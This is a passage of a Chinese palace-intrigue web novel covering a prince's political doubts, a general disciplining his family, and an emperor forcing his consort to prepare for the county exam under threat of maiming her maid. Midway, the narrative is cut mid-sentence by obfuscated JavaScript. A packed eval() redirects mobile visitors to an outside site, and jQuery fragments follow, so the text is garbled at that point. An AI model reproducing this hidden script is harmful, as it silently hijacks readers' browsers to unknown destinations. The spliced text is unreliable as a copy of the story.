等黄太医给代王开了药方,说了几句“无碍”,明熙朗便起身告辞,打道回府。
掷骰子是玩不成了,可他心底的“骰子”却还在骨碌碌地转着。
皇叔公那张乌鸦嘴,开年第一天,说什么要变天了!
他虽七窍有缺,但父皇龙驭宾天之际对他说的那一句话,他至今铭记于心——
“老三,你在京中,太子他便不会乱来。”
他至今也不懂父皇口中那“乱来”究竟意指为何,但他如今就在京中。所以,大昭的天,还变不了。
马走慢了几分,明熙朗下意识地夹了夹马镫,马却突然止步。他回过神来,抬眼一看,谢知言不知何时已骑马与他并肩而行,此刻正一手擒住了他的马缰。
“卑职刚把甯太医送回府,正好闲着无事,陪殿下走一段?”
明熙朗疑惑道:“甯太医还需你一个禁军副帅亲自送回……”话未完,他便止住。
甯太医是天子亲派医治刘长宁的御医。刘长宁的病早就是熬日子,所以只有每隔半月调整药方时他才会亲自去刘府。按代王府侍从所报时辰,刘长宁怕早已咽气多时。甯太医非亲非故,不会守在府上为他入殓。
可谢知言说他“刚”把人送回府。
明熙朗心中一凛,按捺住惊骇,看着眼前笑吟吟的人。谢知言能成为伴驾近臣,绝非口无遮拦之辈,可他偏偏说了这句“刚送甯太医回府”。
谢知言只当没听见,笑着凑近他,左右闻了闻,“嗯,没抗旨。”齐王身上没有酒味,看来耳朵还是灵的。
明熙朗一拳推开他:“谢知言,你是狗吗?”陛下有旨,命他二人一年之内不得饮酒,他岂敢不遵?
谢知言揉着胸口笑:“恭喜殿下觅得贤妻,恭喜啊。”
“哼。”明熙朗横他一眼。李氏那样的寻常女子,实在称不上多喜,但好歹解决了一桩麻烦事。否则太后和宗正司每日找他“喝茶”,那茶也实在难喝得很。
谢知言瞥见齐王身后近侍手中捧着的锦盒,随口问道:“这是太后,还是陛下赏的?”
明熙朗道:“是来时带的,等会儿送去给稚阳。昨日除夕宴,老五说风寒在身起不来,他也称病。团圆之夜,他二人确实不该如此,好在陛下也没追究。”
谢知言停下马,深深地看了他一眼:“这是要去康乐王府?殿下前几日才去过,今日当真还要去?”
“本王……”
谢知言不再听他解释,拱手一拜,打马而去:“殿下慢行。”他言尽于此,再多说,便是与齐王结党之嫌了。
明熙朗一时莫名,可将谢知言的话反复咀嚼,心头蓦地砸下一块石头。
皇叔康王,是父皇一母同胞的亲弟,康乐王,是他亲堂弟。他与稚阳自幼亲近,又都是失了元妃的孤家寡人,今日去他府上过节,又有何不妥?可谢知言话中之意,分明是在说“不妥”,可为何不妥?
他握紧缰绳,眉头深锁。
按理说,康乐王昨晚即使病得起不了身,抬也要抬进宫去赴宴。毕竟明鹤皋几日前刚被册封为嗣王,若连除夕夜的宫宴都缺席不去谢恩,那开朝之后,宗正司、礼部、御史台,随便一个都饶不了他。
可他称病不去,陛下与太后却未动怒,也未追究。
这其中,怕是有问题。或许,和杨慎之一样,藏着什么不便言说的隐情。
他原以为,天子赐予明鹤皋嗣王之位,是恩赏。如今看来,未必如此。
明熙朗仰头望着街市上喧嚣热闹的新年景象,心中却泛起一阵叹息。这盛世京师的风平浪静之下,究竟藏着多少暗流涌动?
可他想不通。还是父皇临终前那句话——
“太子这江山,他本可以坐得很稳……”
见王爷忽然驻马不前,近侍低声问道:“王爷可是不适?”
明熙朗轻叹一声:“回府吧。”
近侍会意,知道是不去康乐王府了,又举了手中锦盒问道:“那这锦盒,由奴婢送去?”
明熙朗接过锦盒,掀开盒盖,一道淡紫色的光辉瞬间倾泻而出,映得他周身如沐月华。
“这盘夜光璧,贵妃应当喜欢,送去平康侯府。”
他自嘲地笑了笑,觉得自己蠢钝如猪,许多事想不明白。但他明白一件事——
忠君,是他明熙朗唯一的生路,亦是他报答天子信任的唯一之计。
天子护定了那贵妃,他也不能什么也不做。刘长宁,那恨不得肝脑涂地以报天子伯乐之恩的人,不也把命交出来了。
那刘长宁或许等得就是今日,他这一死,杨慎之算是白死了。
※
楚夫人大闹于天子跟前,不止震动整个侯府,连齐嘉将军府的老将军也惊动了。
听到足不出户的岳丈来了府上,平康侯赶紧整装以待。回过头见夫人还是那身皱巴巴的衣裳,赶紧拽着她进屋去换。
楚夫人推开他,眼里带着些许厌恶,“侯爷拉拉扯扯成何体统,我去换便是。”
夫妇二人已有数年未曾肌肤相触,回想今日在皇帝面前的种种,何止拉拉扯扯,还不成体统地搂搂抱抱,可谓颜面尽失,此刻皆是尴尬至极。
楚夫人瞧他衣冠齐整的样子便觉讽刺。十年前,她父亲卸了兵权赋闲在家那年,他曾醉酒后低声咒骂:“日后再不受她父亲那窝囊气!”如今却为了见岳丈,又这般盛装打扮,虚与委蛇。
相较高府的华服锦袍,老将军却是一身布衣,独身而来。
楚牧一落座便皱眉道:“一个个穿得像唱大戏的。”
高瞻赶紧冲儿子使了个眼色。
高怀玦连忙上前奉茶:“外祖父请用茶。”
见最爱的外孙来了,楚牧的脸色总算缓和了些,他喝了一口茶,搁下茶杯,抬下巴道:“去吧,去祠堂跪一宿。”
高家人还未明白他在对谁说话,只听他又说:“为父今日就在这府上看着你。既然侯爷管不了你,这府上也无人管得了你……养不教父之过,为父的也该来尽责。”
楚夫人早知今日冒犯天子的惩罚免不了,当即跪下,乖顺地磕了头:“女儿这就去。”
“岳丈大人,跪一宿未免……”岳丈一个冷眼,高瞻立刻闭上嘴。
高怀玦虽心疼母亲,却也不敢多言,其妻柳氏连忙扶着婆母走出门去。
楚牧扫了眼高侯爷,淡淡道:“你也下去吧,老夫有话与双锂要说。”双锂是高怀玦的乳名。
“小婿告退。”高瞻即刻躬身退下。楚老将军如今虽如布衣,可那在战场上厮杀归来的霸气,仍逼得他不敢造次。
高怀玦连忙招呼下人将晚膳端上来,祖孙俩同桌用膳,直到下人来收拾盘碟,才敢开口说话。食不言寝不语,是外祖父的铁律。
“我这一生唯一对不起的人,便是你母亲。”楚牧叹道,“是我没将她教养好,也让她这些年受尽委屈。所以,双锂,你妹妹不能再教坏了。我看那大姑娘便不错,将她母女二人接回府中,让她教教你妹妹。此事,我自会去求禀陛下。”
如此大事,理应与府上主君主母商议,但楚老将军的话,没有回旋余地。高怀玦点头道:“是,外祖父放心,我明日便去安排。”
“你啊。”楚牧狠狠敲了下他的脑门,“把你那灵慧也分给你妹妹半分吧。”
高怀玦笑了笑,嘴边尽是苦涩。他的妹妹,原本无需什么灵慧的。如今却因做了那贵妃,要什么劳什子灵慧。
楚牧仿佛看穿他的心思,轻轻摸着他的脑袋劝道:“双锂,外祖父知你所想,可你看看你母亲,如今活得如同朽木,那是我当初如你想的一般……生在你我两府,便做不了天真烂漫的孩子。”
高怀玦唯有点头:“我明白。”
※
奚汐原以为,她和皇帝这事儿,算是彻底闹翻了。
那日他愤怒离开,那眼神恨不得要生剥了她。她甚至怀疑,他会不会派魏忠来传旨,把她贬为庶人,命她再不用回宫去。那也是她期盼的结果。
可这才几天过去,皇帝竟又大摇大摆地从正门踏了进来,像什么都没发生过似的。
她就知道不该对他那点骨气抱太大的幻想。
皇帝一屁股坐在上座,连句寒暄都没有。魏忠无声地递上一张纸,递到她手里时还带着些许温热,“臣婢告退。”说完快步出去关上了门。
奚汐接过纸张,低头轻声念着:“谢垣三女……刘长宁次女……秦砚修长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120556|176669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女……高瞻长女……?”她皱眉,声音里透着疑惑,“陛下,这是什么?”
“贵妃可从中挑选二人,作为你的女师。”皇帝语气平静,好似在说挑选两支珠钗。
楚老将军在元正期间上了奏疏,请求为贵妃遴选女师。皇帝觉得这主意不错,他从前就有此想法,只是那时想着顾及贵妃颜面——京师第一才女拜别的女子为师,何其荒谬。
奚汐听得一愣一愣的,手里的纸像是被风吹得轻轻发颤。她原以为皇帝会罚她、贬她、甚至废她,却没想到他转头就给她安排了个“补习班”?!
他是不是疯了?!
她摸不透他的心思,又不敢再触他的逆鳞,只好继续读下去:“《论语》《孟子》《大学》《中庸》《诗经》《尚书》……还有《孝经指解》?”
“这些书,贵妃从前闺中也该藏过吧?”皇帝淡淡开口,“拂去尘灰,翻出来读一读,让女师教一教,如何?”
他语气虽平,但那阴阳怪气的强调却是藏不住的。奚汐可不敢说什么,只能低头应道:“是,臣妾遵旨。”
她不得不佩服,这皇帝调节情绪的能力是真的强。前几日还一副要碎了的模样,转眼就能振作起来,面不改色地给她安排“补课”。他到底想干什么?
皇帝道:“朕算算时日,贵妃每日卯时起酉时毕,时至八月便能读完一遍。”
奚汐点头:“是”。没问题,有什么问题,老娘读了十几年的书,难道还害怕读书?
皇帝目光不移,语气也未变:“如此,便能赶上今年八月京郊宛英县的县试。”
这句话一出,奚汐差点没把手中的纸捏碎,很想摸摸他的额头是不是发烧了。
她咽了口唾沫,试着问道:“陛下……是要臣妾参加县试?”
皇帝点头:“县试放榜后,朕会命贡院将贵妃的文章与童生相较,由贡院评判,看是否能得朱笔圈注。”
奚汐整个人像是被抽了骨头,瘫在榻上,脑子嗡嗡作响。
她终于确定,她把皇帝刺激狠了。
奚汐强撑着最后一丝理智:“倘若……倘若臣妾考不过呢?”
皇帝却像是早就等她这句话,嘴角甚至微微勾起:“无妨。每年八月均有县试,一次不第,尚有次年。次年不第,复有来年。贵妃一年不第,朕便砍去那胭脂一肢,她有四肢,太医院医术精妙,倒也不会让她四肢尽去前失了性命。”
奚汐整个人像是被雷劈了。她终于明白,皇帝不是在气她,而是在报复她。
明吟渊伸手,轻轻拭去她脸颊滚落的泪珠,指尖一挑,抬起她的下巴,声音低而缓:“贵妃不会以为,朕是在说戏言吧?”
奚汐喃喃道:“不会……”她当然不会。他没有戏言,如果有,那是他从前本就将那些当作戏言。
从前他还肯哄她,哄着哄着就改了主意,可这一次……他不是哄,是逼。
可他以为他能逼出什么!
明吟渊食指轻轻一翘,蘸了些她脸上的泪水,放唇边尝了一尝,这泪也不算苦,心疼她作甚?
“你说你无文采,朕便给你文采。你有诸多借口,朕便把这些借口一一替你拔除。若这些都没了,贵妃又拿什么来推搪朕?”
这几日他想了很多。她不愿爱他?她不愿与他成一双夫妻?那是她不愿就能不愿的吗!
他不会再委屈自己,顺她的意。他是天子,要什么便要什么。她就是块烂泥,他也得把她糊上墙去!
奚汐打开他的手,一把撕了那张碍眼的清单,几乎是吼的:“陛下莫非忘了馨宁郡主,忘了那永曜殿?!”
明吟渊却是笑了,“贵妃也不总是愚钝。”
他铁了心,她再如何挣扎,也动摇不了他半分。
奚汐眨眨眼,转头扑在软垫上,闷声哭泣:“呜……”她不是被他气哭的,是被自己蠢哭的。那日她究竟是不是失心疯了,竟把那么要紧的东西随意丢弃,让他看见!
明吟渊咬牙道:“贵妃只管哭,朕也不会回回都心疼。”
“呜呜……”她哭她的,关他什么事,谁稀罕你的心疼,神经病!
平康侯不会放过她,如果连明吟渊也不肯放过她,她该怎么办……